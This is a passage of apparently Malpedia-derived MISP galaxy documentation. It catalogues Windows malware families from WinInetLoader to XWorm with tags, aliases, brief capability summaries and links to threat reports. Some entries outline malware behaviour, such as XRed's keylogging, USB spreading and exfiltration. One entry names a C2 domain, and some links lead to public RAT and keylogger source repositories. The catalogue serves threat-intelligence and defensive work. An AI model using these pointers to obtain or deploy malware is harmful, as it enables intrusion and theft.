https://www.mandiant.com/resources/blog/apt29-wineloader-german-political-parties
https://research.checkpoint.com/2025/apt29-phishing-campaign/
https://www.binarydefense.com/resources/blog/wineloader-analysis-of-the-infection-chain/
https://www.zscaler.com/blogs/security-research/european-diplomats-targeted-spikedwine-wineloader
https://twitter.com/greglesnewich/status/1762549311294804145
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2024-CTI-006.pdf

WinInetLoader

The tag is: *misp-galaxy:malpedia="WinInetLoader"*

WinInetLoader is also known as:

- LIDSHOT

Table 5598. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wininetloader
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf

winlog

The tag is: *misp-galaxy:malpedia="winlog"*

winlog is also known as:

Table 5599. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winlog
https://github.com/Thibault-69/Keylogger-Windows-----WinLog

WinMM

The tag is: *misp-galaxy:malpedia="WinMM"*

WinMM is also known as:

Table 5600. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winmm
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/

Winnti (Windows)

The tag is: *misp-galaxy:malpedia="Winnti (Windows)"*

Winnti (Windows) is also known as:

- BleDoor
- JUMPALL
- Pasteboy
- RbDoor

Table 5601. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti
https://www.carbonblack.com/2020/02/20/threat-analysis-active-c2-discovery-using-protocol-emulation-part2-winnti-4-0/
https://www.recordedfuture.com/chinese-apt-groups-target-afghan-telecommunications-firm/
https://go.recordedfuture.com/hubfs/reports/cta-2021-0921.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2022/slides/VB2022-Tracking-the-entire-iceberg.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134508/winnti-more-than-just-a-game-130410.pdf

http://2015.ruxcon.org.au/assets/2015/slides/Ruxcon%202015%20-%20McCormack.pdf

http://web.br.de/interaktiv/winnti/english/

https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://www.youtube.com/watch?v=qk9XLDBLPXg

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf

https://www.fireeye.com/blog/threat-research/2021/01/emulation-of-kernel-mode-rootkits-with-speakeasy.html

https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/

https://harfanglab.io/en/insidethelab/isoon-leak-analysis/

http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/

https://github.com/TKCERT/winnti-detector

https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf

https://content.fireeye.com/api/pdfproxy?id=86840

https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/

https://www.recordedfuture.com/blog/china-linked-tag-28-targets-indias-the-times-group

https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf

https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Tracking-the-entire-iceberg-long-term-APT-malware-C2-protocol-emulation-and-scanning.pdf

https://github.com/TKCERT/winnti-nmap-script

https://www.youtube.com/watch?v=JF86NQG7M6U

http://blog.trendmicro.com/trendlabs-security-intelligence/pigs-malware-examining-possible-member-winnti-group/

https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf

https://www.tagesschau.de/investigativ/ndr/hackerangriff-chemieunternehmen-101.html

https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf

https://quointelligence.eu/2020/04/winnti-group-insights-from-the-past/

https://www.youtube.com/watch?v=_fstHQSK-kk

https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html

https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/

https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques

https://web.archive.org/web/20210422180517/https://blog.prevailion.com/

https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/

https://www.lastline.com/labsblog/helo-winnti-attack-scan/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf

https://docplayer.net/162112338-Don-t-miss-the-forest-for-the-trees-gleaning-hunting-value-from-too-much-intrusion-data.html

https://github.com/superkhung/winnti-sniff

https://attack.mitre.org/groups/G0096

https://www.youtube.com/watch?v=YCwyc6SctYs

https://blogs.vmware.com/security/2021/11/monitoring-winnti-4-0-c2-servers-for-two-years.html

https://blogs.vmware.com/security/2020/09/detecting-threats-in-real-time-with-active-c2-information.html

https://content.fireeye.com/apt-41/rpt-apt41/

https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape

https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage

https://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf

https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf

https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/

https://securelist.com/apt-trends-report-q3-2020/99204/

https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive

https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://securelist.com/games-are-over/70991/

https://www.secureworks.com/research/threat-profiles/bronze-atlas

https://github.com/TKCERT/winnti-suricata-lua

https://github.com/br-data/2019-winnti-analyse/

https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html

WinorDLL64

According to ESET Research, this is a payload downloaded by win.wslink. They attribute it with low confidence to Lazarus.

The tag is: *misp-galaxy:malpedia="WinorDLL64"*

WinorDLL64 is also known as:

Table 5602. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winordll64
https://www.welivesecurity.com/2023/02/23/winordll64-backdoor-vast-lazarus-arsenal/

Winos

The tag is: *misp-galaxy:malpedia="Winos"*

Winos is also known as:

Table 5603. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winos
https://www.rapid7.com/blog/post/2025/05/22/nsis-abuse-and-srdi-shellcode-anatomy-of-the-winos-4-0-campaign/
https://www.fortinet.com/blog/threat-research/winos-spreads-via-impersonation-of-official-email-to-target-users-in-taiwan

WinPot

WinPot is created to make ATMs by a popular ATM vendor to automatically dispense all cash from their most valuable cassettes.

The tag is: *misp-galaxy:malpedia="WinPot"*

WinPot is also known as:

- ATMPot

Table 5604. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winpot
https://securelist.com/atm-robber-winpot/89611/
https://securelist.com/atm-pos-malware-landscape-2017-2019/96750/

https://www.association-secure-transactions.eu/east-publishes-fraud-update-2-2018/

WinScreeny

Backdoor used in the EvilPlayout campaign against Iran's State Broadcaster.

The tag is: *misp-galaxy:malpedia="WinScreeny"*

WinScreeny is also known as:

Table 5605. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winscreeny
https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/

Winsloader

The tag is: *misp-galaxy:malpedia="Winsloader"*

Winsloader is also known as:

Table 5606. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Wipbot

The tag is: *misp-galaxy:malpedia="Wipbot"*

Wipbot is also known as:

- Epic
- Tavdig

Table 5607. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://docs.broadcom.com/doc/waterbug-attack-group
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf
https://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf

WMI Ghost

The tag is: *misp-galaxy:malpedia="WMI Ghost"*

WMI Ghost is also known as:

- Syndicasec
- Wimmie

Table 5608. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost
https://secrary.com/ReversingMalware/WMIGhost/
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

WmRAT

According to Proofpoint, WmRAT is a remote access trojan (RAT) written in C++ that uses sockets for communications and has standard RAT functionality. The RAT can gather basic host information, upload or download files, take screenshots, get geolocation data of the target machine, enumerate directories and files, and run arbitrary commands via cmd or PowerShell. The malware also generates a number of junk threads, potentially to mislead researchers or responders investigating the samples.

The tag is: *misp-galaxy:malpedia="WmRAT"*

WmRAT is also known as:

Table 5609. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wm_rat
https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two
https://www.proofpoint.com/us/blog/threat-insight/hidden-plain-sight-ta397s-new-attack-chain-delivers-espionage-rats
https://blog.eclecticiq.com/pakistan-telecommunication-company-ptcl-targeted-by-bitter-apt-during-heightened-regional-conflict

WndTest

The tag is: *misp-galaxy:malpedia="WndTest"*

WndTest is also known as:

Table 5610. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Wonknu

The tag is: *misp-galaxy:malpedia="Wonknu"*

Wonknu is also known as:

Table 5611. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu
https://unit42.paloaltonetworks.com/atoms/iron-taurus/

woody

The tag is: *misp-galaxy:malpedia="woody"*

woody is also known as:

Table 5612. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.woody
https://www.sans.org/reading-room/whitepapers/malicious/detailed-analysis-advanced-persistent-threat-malware-33814

Woody RAT

The tag is: *misp-galaxy:malpedia="Woody RAT"*

Woody RAT is also known as:

Table 5613. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.woodyrat
https://blog.malwarebytes.com/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild/

Woolger

The tag is: *misp-galaxy:malpedia="Woolger"*

Woolger is also known as:

- WoolenLogger

Table 5614. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf
https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf

WorldWind

Information Stealer.

The tag is: *misp-galaxy:malpedia="WorldWind"*

WorldWind is also known as:

Table 5615. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.worldwind
https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/
https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed

WORMHOLE

WORMHOLE is a TCP tunneler that is dynamically configurable from a C&C server and can communicate with an additional remote machine endpoint for a relay.

The tag is: *misp-galaxy:malpedia="WORMHOLE"*

WORMHOLE is also known as:

Table 5616. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf
https://securelist.com/lazarus-under-the-hood/77908/
https://content.fireeye.com/apt/rpt-apt38

WormLocker

The tag is: *misp-galaxy:malpedia="WormLocker"*

WormLocker is also known as:

- WormLckr

Table 5617. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wormlocker
https://twitter.com/Kangxiaopao/status/1355056807924797440

WpBruteBot

The tag is: *misp-galaxy:malpedia="WpBruteBot"*

WpBruteBot is also known as:

Table 5618. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wpbrutebot
https://www.zscaler.com/blogs/security-research/malware-leveraging-xml-rpc-vulnerability-exploit-wordpress-sites

WSCSPL

The tag is: *misp-galaxy:malpedia="WSCSPL"*

WSCSPL is also known as:

Table 5619. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl

https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

Wslink

The tag is: *misp-galaxy:malpedia="Wslink"*

Wslink is also known as:

- FinickyFrogfish

Table 5620. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink
https://www.welivesecurity.com/2021/10/27/wslink-unique-undocumented-malicious-loader-runs-server/
https://www.welivesecurity.com/wp-content/uploads/2022/03/eset_wsliknkvm.pdf
https://twitter.com/darienhuss/status/1453342652682981378

x4

The tag is: *misp-galaxy:malpedia="x4"*

x4 is also known as:

Table 5621. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.x4
https://www.gradiant.org/noticia/analysis-malware-cve-2017/

X-Agent (Windows)

The tag is: *misp-galaxy:malpedia="X-Agent (Windows)"*

X-Agent (Windows) is also known as:

- chopstick
- splm

Table 5622. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf
https://www.thecssc.com/wp-content/uploads/2018/10/4OctoberIOC-APT28-malware-advisory.pdf
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://securelist.com/apt-trends-report-q2-2020/97937/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
https://assets.documentcloud.org/documents/3461560/Google-Aquarium-Clean.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

XBot POS

The tag is: *misp-galaxy:malpedia="XBot POS"*

XBot POS is also known as:

Table 5623. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos
https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html

XBTL

The tag is: *misp-galaxy:malpedia="XBTL"*

XBTL is also known as:

Table 5624. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl

xCaon

Checkpoint Research found this backdoor, attributed to IndigoZebra, used to target Afghan and other Central-Asia countries, including Kyrgyzstan and Uzbekistan, since at least 2014.

The tag is: *misp-galaxy:malpedia="xCaon"*

xCaon is also known as:

Table 5625. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xcaon
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/

XData

The tag is: *misp-galaxy:malpedia="XData"*

XData is also known as:

- AESNI

Table 5626. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xdata
https://www.welivesecurity.com/2017/05/23/xdata-ransomware-making-rounds-amid-global-wannacryptor-scare/

XDSpy

According to ESET Research, XDDown is a primary malware component and is strictly a downloader. It persists on the system using the traditional Run key. It downloads additional plugins from the hardcoded C&C server using the HTTP protocol. The HTTP replies contain PE binaries encrypted with a hardcoded two-byte XOR key. Plugins include a module for reconnaissance on the affected system, crawling drives, file exfiltration, SSID gathering, and grabbing saved passwords.

The tag is: *misp-galaxy:malpedia="XDSpy"*

XDSpy is also known as:

Table 5627. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://vblocalhost.com/uploads/VB2020-Faou-Labelle.pdf
https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/
https://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/
https://github.com/eset/malware-ioc/tree/master/xdspy/

XehookStealer

Xehook is a .NET-based malware targeting Windows systems. It collects data from Chromium and Gecko browsers, supporting over 110 cryptocurrencies and 2FA extensions. CRIL found a potential link between Xehook Stealer, Agniane, and the Cinoshi project, suggesting a progression from a free MaaS model to the development of Xehook Stealer. SmokeLoader binaries were identified as a common vector for distributing Xehook Stealer. Xehook Stealer shares code overlaps with Agniane Stealer, indicating an evolutionary relationship.

The tag is: *misp-galaxy:malpedia="XehookStealer"*

XehookStealer is also known as:

Table 5628. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xehook
https://cyble.com/blog/xehook-stealer-evolution-of-cinoshis-project-targeting-over-100-cryptocurrencies-and-2fa-extensions/

XenArmor

XenArmor is a suite of password recovery tools for various applications that have been observed to be abused in attacks alongside malware.

The tag is: *misp-galaxy:malpedia="XenArmor"*

XenArmor is also known as:

- XenArmor Suite

Table 5629. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xenarmor
https://xenarmor.com/

Xenon Stealer

The tag is: *misp-galaxy:malpedia="Xenon Stealer"*

Xenon Stealer is also known as:

Table 5630. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xenon
https://twitter.com/3xp0rtblog/status/1331974232192987142

XenoRAT

The tag is: *misp-galaxy:malpedia="XenoRAT"*

XenoRAT is also known as:

Table 5631. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xenorat
https://hunt.io/blog/xenorat-excel-xll-confuserex-as-access-method
https://www.seqrite.com/blog/goodbye-hta-hello-msi-new-ttps-and-clusters-of-an-apt-driven-by-multi-platform-attacks/
https://axmahr.github.io/posts/xenorat-detection/
https://blog.talosintelligence.com/moonpeak-malware-infrastructure-north-korea/
https://github.com/moom825/xeno-rat
https://hunt.io/blog/good-game-gone-bad-xeno-rat-spread-via-gg-domains-and-github
https://www.cyfirma.com/research/xeno-rat-a-new-remote-access-trojan-with-advance-capabilities/
https://www.trellix.com/blogs/research/dprk-linked-github-c2-espionage-campaign/

X-Files Stealer

The tag is: *misp-galaxy:malpedia=" X-Files Stealer"*

```
X-Files Stealer is also known as:
```

Table 5632. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xfilesstealer
https://twitter.com/3xp0rtblog/status/1473323635469438978

https://cyberint.com/blog/research/xfiles-stealer-campaign-abusing-follina/
https://www.zscaler.com/blogs/security-research/x-files-stealer-evolution-analysis-and-comparison-study

XFSADM

The tag is: *misp-galaxy:malpedia="XFSADM"*

XFSADM is also known as:

Table 5633. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm
https://twitter.com/r3c0nst/status/1149043362244308992
https://twitter.com/VK_Intel/status/1149454961740255232

XFSCashNCR

The tag is: *misp-galaxy:malpedia="XFSCashNCR"*

XFSCashNCR is also known as:

Table 5634. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xfscashncr
https://blog.cyttek.com/2019/08/28/other-day-other-malware-in-the-way-died-exe/
https://twitter.com/r3c0nst/status/1166773324548063232

Xiangoop

The tag is: *misp-galaxy:malpedia="Xiangoop"*

Xiangoop is also known as:

Table 5635. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xiangoop
https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/
https://hitcon.org/2024/CMT/slides/Pirates_of_The_Nang_Hai_Follow_the_Artifacts_of_Tropic_Trooper,_No_One_Knows.pdf

XiaoBa

Ransomware.

The tag is: *misp-galaxy:malpedia="XiaoBa"*

XiaoBa is also known as:

Table 5636. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xiaoba
https://id-ransomware.blogspot.com/2017/10/xiaoba-ransomware.html

XiebroC2

The tag is: *misp-galaxy:malpedia="XiebroC2"*

XiebroC2 is also known as:

Table 5637. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xiebroc2
https://github.com/INotGreen/XiebroC2

Xorist

According to PCrisk, Xorist is a family of ransomware-type malware. After stealth system infiltration, ransomware from this family encrypts various files stored on the computer. After encrypting the files, this ransomware creates a 'How to Decrypt Files.txt text file on the victim's desktop. The file contains a message stating that the files can only be restored by paying a ransom.

The tag is: *misp-galaxy:malpedia="Xorist"*

Xorist is also known as:

Table 5638. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xorist
https://www.fortinet.com/blog/threat-research/Ransomware-Roundup-New-Inlock-and-Xorist-Variants

XP10

Ransomware.

The tag is: *misp-galaxy:malpedia="XP10"*

XP10 is also known as:

- FakeChrome Ransomware

Table 5639. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xp10
https://id-ransomware.blogspot.com/2020/08/xp10-ransomware.html

xPack

Symantec describes this as a decryptor/loader used by Chinese threat actor Antlion in campaigns targeting Taiwan.

The tag is: *misp-galaxy:malpedia="xPack"*

xPack is also known as:

- NERAPACK

Table 5640. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpack
https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html
https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks

Xpan

The tag is: *misp-galaxy:malpedia="Xpan"*

Xpan is also known as:

Table 5641. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/
https://securelist.com/blog/research/78110/xpan-i-am-your-father/

XPCTRA

Incorporates code of Quasar RAT.

The tag is: *misp-galaxy:malpedia="XPCTRA"*

XPCTRA is also known as:

- Expectra

Table 5642. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpctra
https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis
https://isc.sans.edu/forums/diary/XPCTRA+Malware+Steals+Banking+and+Digital+Wallet+Users+Credentials/22868/
https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html

XpertRAT

According to PCrisk, XpertRAT is a Remote Administration Trojan, a malicious program that allows cyber criminals to remotely access and control infected computers. Typically, users download and install this software inadvertently because they are tricked. By having computers infected with malware such as XpertRAT, users can experience serious problems.

The tag is: *misp-galaxy:malpedia="XpertRAT"*

XpertRAT is also known as:

Table 5643. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat
https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html
https://labs.k7computing.com/?p=15672
https://www.veronicavaleros.com/blog/2018/3/12/a-study-of-rats-third-timeline-iteration

XP PrivEsc (CVE-2014-4076)

The tag is: *misp-galaxy:malpedia="XP PrivEsc (CVE-2014-4076)"*

XP PrivEsc (CVE-2014-4076) is also known as:

Table 5644. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.xp_privesc
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf

XRed

According to eSentire, XRed, also known as Synaptics worm, is a backdoor that has been circulating since at least 2019. This malware was initially spread through drivers bundled with USB-C hub adapters, which served as its primary distribution vector. Once executed, the backdoor self-replicates and to maintain persistence, it creates a Windows Registry Run key. Additionally, it uses a mutex named Synaptics2X to ensure that only one instance of the malware runs at a time. XRed includes several advanced features that enable remote control and data exfiltration. It can download additional payloads from hardcoded URLs embedded within its binary. The malware exfiltrates sensitive system information—such as the MAC address, username, and computer name—which is sent via SMTP to hardcoded email addresses. It also incorporates keylogging functionality through keyboard hooking techniques. Furthermore, XRed supports a variety of remote commands that allow the attacker to gain command prompt access, capture screenshots, list available disks and directories, download files from remote sources, and delete files from the infected system. XRed also exhibits worm-like behavior: It spreads through USB drives by creating an autorun.inf file. Additionally, the malware infects Excel files with macros (.xlsm) by injecting a malicious VBA macro into them. The malware uses a hardcoded dynamic DNS domain (xred.mooo.com) to communicate with its command and control server. This domain serves as an identifying feature of the malware. According to researchers at eSentire, linguistic evidence found in the malware's code suggests that the developer is a native Turkish speaker.

The tag is: *misp-galaxy:malpedia="XRed"*

XRed is also known as:

Table 5645. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xred
https://www.esentire.com/blog/xred-backdoor-the-hidden-threat-in-trojanized-programs

XServer

The tag is: *misp-galaxy:malpedia="XServer"*

XServer is also known as:

- Filesnfer

Table 5646. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xserver

https://norfolkinfosec.com/filesnfer-tool-c-python/	
https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf	

xsPlus

The tag is: *misp-galaxy:malpedia="xsPlus"*

xsPlus is also known as:

- nokian

Table 5647. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/

XTinyLoader

Simple Loader used to download and install stealers, clippers and other malwares.

The tag is: *misp-galaxy:malpedia="XTinyLoader"*

XTinyLoader is also known as:

Table 5648. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xtinyloader
https://hunt.io/blog/tinyloader-malware-cryptocurrency-theft-infrastructure
https://bazaar.abuse.ch/sample/c1d781f4c9469977a32f2ad6edea4fda98e6a8eda5aa10149be2311cb369c48a

XTunnel

X-Tunnel is a network proxy tool that implements a custom network protocol encapsulated in the TLS protocol.

The tag is: *misp-galaxy:malpedia="XTunnel"*

XTunnel is also known as:

- Shunnael

- X-Tunnel
- xaps

Table 5649. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government
https://www.root9b.com/sites/default/files/whitepapers/R9b_FSOFACY_0.pdf
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://www.root9b.com/sites/default/files/whitepapers/root9b_follow_up_report_apt28.pdf
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://securelist.com/apt-trends-report-q2-2020/97937/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/
http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

X-Tunnel (.NET)

This is a rewrite of win.xtunnel using the .NET framework that surfaced late 2017.

The tag is: *misp-galaxy:malpedia="X-Tunnel (.NET)"*

X-Tunnel (.NET) is also known as:

Table 5650. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel_net
https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28

Xwo

In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.

The tag is: *misp-galaxy:malpedia="Xwo"*

Xwo is also known as:

Table 5651. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xwo
https://www.alienvault.com/blogs/labs-research/xwo-a-python-based-bot-scanner

XWorm

Malware with wide range of capabilities ranging from RAT to ransomware.

The tag is: *misp-galaxy:malpedia="XWorm"*

XWorm is also known as:

Table 5652. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm
